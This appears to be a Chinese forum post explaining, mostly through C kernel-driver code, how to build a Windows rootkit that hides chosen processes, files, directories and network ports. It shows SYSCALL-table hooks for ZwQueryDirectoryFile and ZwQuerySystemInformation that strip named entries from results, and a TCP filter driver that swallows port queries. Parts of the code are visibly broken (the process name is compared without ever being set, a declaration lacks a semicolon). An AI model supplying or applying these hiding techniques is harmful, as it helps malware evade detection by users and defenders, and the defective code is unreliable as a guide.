隐藏任意进程，目录/文件，注册表，端口

隐藏任意进程，目录/文件，注册表，端口查找进程，目录/文件，注册表等操作系统将最终调用 ZwQueryDirectoryFile，ZwQuerySystemInformation，
ZwXXXvalueKey 等函数。要想拦截这些函数达到隐藏目的，需先自己实现以上函数，并修改系统维护的一个
SYSCALL 表使之指向自己预先定义的函数。因 SYSCALL 表在用户层不可见，所以要写 DRIVE 在 RING 0 下
才可修改。关于如何修改已有文章详细介绍过，这里不在详述。（可以参见 sysinternals.com 或 WebCrazy 所
写的文章）。查找端口用的是 TDI 查询。TDI 导出了两个设备 \\Device\\Tcp 与 \\Device\\Udp。我们可以利
用设备过滤驱动的方法写一个 DRIVE 把这两个设备的所有 IRP 包接管过来进行处理后再传给下层驱动。以达到
隐藏任意端口的目的。上述提到的方法不是新东西，是在N年前就已经有的老技术。俺现在将它贴出来只不过为了
充实下版面，灌灌水罢了。高手们还是别看了。下面是我 DRIVE 中隐藏任意进程，目录/文件，端口代码片段。
（注册表操作在 RegMon 中写的很详细，这里就不列出了）
 
typedef struct _FILETIME
{
    DWORD dwLowDateTime;
    DWORD dwHighDateTime;
} FILETIME;
typedef struct _DirEntry
{
    DWORD dwLenToNext;
    DWORD dwAttr;
    FILETIME ftCreate, ftLastAccess, ftLastWrite;
    DWORD dwUnknown[ 2 ];
    DWORD dwFileSizeLow;
    DWORD dwFileSizeHigh;
    DWORD dwUnknown2[ 3 ];
    WORD wNameLen;
    WORD wUnknown;
    DWORD dwUnknown3;
    WORD wShortNameLen;
    WCHAR swShortName[ 12 ];
    WCHAR suName[ 1 ];
} DirEntry, *PDirEntry;
struct _SYSTEM_THREADS
{
    LARGE_INTEGER        KernelTime;
    LARGE_INTEGER        UserTime;
    LARGE_INTEGER        CreateTime;
    ULONG                WaitTime;
    PVOID                StartAddress;
    CLIENT_ID            ClientIs;
    KPRIORITY            Priority;
    KPRIORITY            BasePriority;
    ULONG                ContextSwitchCount;
    ULONG                ThreadState;
    KWAIT_REASON         WaitReason;
};
struct _SYSTEM_PROCESSES
{
    ULONG                NextEntryDelta;
    ULONG                ThreadCount;
    ULONG                Reserved[6];
    LARGE_INTEGER        CreateTime;
    LARGE_INTEGER        UserTime;
    LARGE_INTEGER        KernelTime;
    UNICODE_STRING       ProcessName;
    KPRIORITY            BasePriority;
    ULONG                ProcessId;
    ULONG                InheritedFromProcessId;
    ULONG                HandleCount;
    ULONG                Reserved2[2];
    VM_COUNTERS          VmCounters;
    IO_COUNTERS          IoCounters;
    struct _SYSTEM_THREADS Threads[1];
};

// 隐藏目录/文件
NTSTATUS HookZwQueryDirectoryFile(
    IN HANDLE hFile,
    IN HANDLE hEvent OPTIONAL,
    IN PIO_APC_ROUTINE IoApcRoutine OPTIONAL,
    IN PVOID IoApcContext OPTIONAL,
    OUT PIO_STATUS_BLOCK pIoStatusBlock,
    OUT PVOID FileInformationBuffer,
    IN ULONG FileInformationBufferLength,
    IN FILE_INFORMATION_CLASS FileInfoClass,
    IN BOOLEAN bReturnOnlyOneEntry,
    IN PUNICODE_STRING PathMask OPTIONAL,
    IN BOOLEAN bRestartQuery)
{
    NTSTATUS             rc;
    CHAR                 aProcessName[80];   
    ANSI_STRING          ansiFileName,ansiDirName;
    UNICODE_STRING       uniFileName;
    PP_DIR               ptr;
    WCHAR                ParentDirectory[1024] = {0};
    int                  BytesReturned;
    PVOID                Object;
       
    // 执行旧的ZwQueryDirectoryFile函数
    rc = ((ZWQUERYDIRECTORYFILE)(OldZwQueryDirectoryFile))(
            hFile,                           
            hEvent,
            IoApcRoutine,
            IoApcContext,
            pIoStatusBlock,
            FileInformationBuffer,
            FileInformationBufferLength,
            FileInfoClass,
            bReturnOnlyOneEntry,
            PathMask,
            bRestartQuery);
 
    if(NT_SUCCESS(rc))
    {
        PDirEntry p;
        PDirEntry pLast;
        BOOL bLastOne;
        int found;       
        p = (PDirEntry)FileInformationBuffer;    // 将查找出来结果赋给结构
        pLast = NULL;
       
        do
        {
            bLastOne = !( p->dwLenToNext );
            RtlInitUnicodeString(&uniFileName,p->suName);
            RtlUnicodeStringToAnsiString(&ansiFileName,&uniFileName,TRUE);
            RtlUnicodeStringToAnsiString(&ansiDirName,&uniFileName,TRUE);
            RtlUpperString(&ansiFileName,&ansiDirName);
            found=0;
           
            // 在链表中查找是否包含当前目录
            for(ptr = list_head; ptr != NULL; ptr = ptr->next)
            {
                if (ptr->flag != PTR_HIDEDIR) continue;
                if( RtlCompareMemory( ansiFileName.Buffer, ptr->name,strlen(ptr->name) ) == strlen(ptr->name))
                {
                    found=1;
                    break;
                }
            }//end for
            // 如果链表中包含当前目录，隐藏
            if(found)
            {
                if(bLastOne)
                {
                    if(p == (PDirEntry)FileInformationBuffer )
                    {
                         rc = 0x80000006;    //隐藏
                    }
                    else
                        pLast->dwLenToNext = 0;
                    break;
                }
                else
                {
                    int iPos = ((ULONG)p) - (ULONG)FileInformationBuffer;
                    int iLeft = (DWORD)FileInformationBufferLength - iPos - p->dwLenToNext;
                    RtlCopyMemory( (PVOID)p, (PVOID)( (char *)p + p->dwLenToNext ), (DWORD)iLeft );
                    continue;
                }
            }
            pLast = p;
            p = (PDirEntry)((char *)p + p->dwLenToNext );
        }while( !bLastOne );
        RtlFreeAnsiString(&ansiDirName);  
        RtlFreeAnsiString(&ansiFileName);
    }
    return(rc);
}
// 隐藏进程
NTSTATUS HookZwQuerySystemInformation(
    IN ULONG SystemInformationClass,
    IN PVOID SystemInformation,
    IN ULONG SystemInformationLength,
    OUT PULONG ReturnLength)
{
    NTSTATUS rc;
    ANSI_STRING process_name,process_uname,process_name1,process_name2;
    BOOL    g_hide_proc = TRUE;
    CHAR    aProcessName[80];
    PP_DIR  ptr;           
    int     found;

    // 执行旧的ZwQuerySystemInformation函数
    rc = ((ZWQUERYSYSTEMINFORMATION)(OldZwQuerySystemInformation)) (
        SystemInformationClass,
        SystemInformation,
        SystemInformationLength,
        ReturnLength );
    if(NT_SUCCESS(rc ))
    {
        if( g_hide_proc && (5 == SystemInformationClass))
        {
            // 将查找出来结果赋给结构
            struct _SYSTEM_PROCESSES *curr = (struct _SYSTEM_PROCESSES *)SystemInformation;
            struct _SYSTEM_PROCESSES *prev = NULL;
            // 遍历进程
            while(curr)
            {  
               
                if((0 < process_name.Length) && (255 > process_name.Length))
                {
                    found=0;
                    // 遍历链表
                    for (ptr=list_head;ptr!=NULL;ptr=ptr->next )
                    {  
                        if (ptr->flag != PTR_HIDEPROC) continue ;
                       
                        if (memcmp(process_name.Buffer,ptr->name,strlen(ptr->name)) == 0)
                        {
                            found =1;
                        }
                    }
       
                    // 判断如果是隐藏进程名则覆盖掉此进程名
                    while(found)
                    {
                        if(prev)
                        {
                            if(curr->NextEntryDelta)
                            {
                                prev->NextEntryDelta += curr->NextEntryDelta;
                            }
                            else
                            {
                                prev->NextEntryDelta = 0;
                            }
            }
            else
                        {
                            if(curr->NextEntryDelta)
                            {
                                (char *)SystemInformation += curr->NextEntryDelta;
                            }
                            else
                            {
                                SystemInformation = NULL;
                            }
                        }
                       
                        if(curr->NextEntryDelta)((char *)curr += curr->NextEntryDelta);
                        else
                        {
                            curr = NULL;break;
                        }
                        // 遍历链表
                        found = 0;
                        for (ptr=list_head;ptr!=NULL;ptr=ptr->next )
                        {  
                            if (ptr->flag != PTR_HIDEPROC) continue ;
                           
                            if (memcmp(process_name.Buffer,ptr->name,strlen(ptr->name)) == 0)
                            {
                                found = 1;
                            }
                        }
                    }
                }
                if(curr != NULL)
                {
                    prev = curr;
                    if(curr->NextEntryDelta) ((char *)curr += curr->NextEntryDelta);
                    else curr = NULL;
                }
            }
        }
    }
    return(rc);
}

//隐藏端口
     PDEVICE_OBJECT    m_TcpgetDevice;
     PDEVICE_OBJECT    TcpDevice;
     UNICODE_STRING    TcpDeviceName;
     PDRIVER_OBJECT    TcpDriver;
     PDEVICE_OBJECT    TcpgetDevice;
     PDEVICE_OBJECT    FilterDevice
     PDRIVER_DISPATCH  Empty;
     NTSTATUS          status;
     Empty = DriverObject->MajorFunction[IRP_MJ_CREATE];
    
     RtlInitUnicodeString( &TcpDeviceName, L"\\Device\\Tcp");
     //得到已有的设备指针
     status = IoGetDeviceObjectPointer( &TcpDeviceName,
                                        FILE_ALL_ACCESS,
                                &FileObject,
                                        &TcpDevice
                                      );

    if(!NT_SUCCESS(status))
     {
        DbgPrint("IoGetDeviceObjectPointer error!\n");
        return status;
     }
    DbgPrint("IoGetDeviceObjectPointer ok!\n");
  
    // 建立设备 
    status = IoCreateDevice( DriverObject,
                             sizeof(DEVICE_EXTENSION),
                             NULL,
                             FILE_DEVICE_UNKNOWN,
                             0,
                             FALSE,
                             &FilterDevice
                           );
    if(!NT_SUCCESS(status))
    {
        return status;
    }
    // 加入设备
    TcpgetDevice = IoAttachDeviceToDeviceStack( FilterDevice, TcpDevice);
    if(!TcpgetDevice)
    {
         IoDeleteDevice(FilterDevice);
     DbgPrint("IoAttachDeviceToDeviceStack error!\n");
         return STATUS_SUCCESS;
    }
    m_TcpgetDevice = TcpgetDevice;
 
   // 加到过滤函数中处理
   for(i=0;i<IRP_MJ_MAXIMUM_FUNCTION;i++)
   {
       if((TcpDriver->MajorFunction[i]!=Empty)&&(DriverObject->MajorFunction[i]==Empty))
       {
           DriverObject->MajorFunction[i] = PassThrough;
          
       }
   }
   ObDereferenceObject(FileObject);

NTSTATUS PassThrough( IN PDEVICE_OBJECT DeviceObject, IN PIRP Irp )
{
       NTSTATUS                    status;
       PIO_STACK_LOCATION          pIrpStack;
       pIrpStack = IoGetCurrentIrpStackLocation( Irp );

       //如是查询则完成 IRP
       if ( pIrpStack->Parameters.DeviceIoControl.IoControlCode == QUERY_INFORMATION_EX)
       {
            //这里可以近一步判断某个端口
            Irp->IoStatus.Status=STATUS_SUCCESS;
            IoCompleteRequest(Irp,IO_NO_INCREMENT);
            return STATUS_SUCCESS;
       }
      //复制当前 IRP
      IoCopyCurrentIrpStackLocationToNext(Irp);
 
      IoSetCompletionRoutine( Irp,
                              GenericCompletion,
                              NULL,
                              TRUE,
                          TRUE,
                          TRUE
                        );
      //传递
      return IoCallDriver( m_TcpgetDevice, Irp);
}

关键词：隐藏任意进程，目录/文件，注册表，端口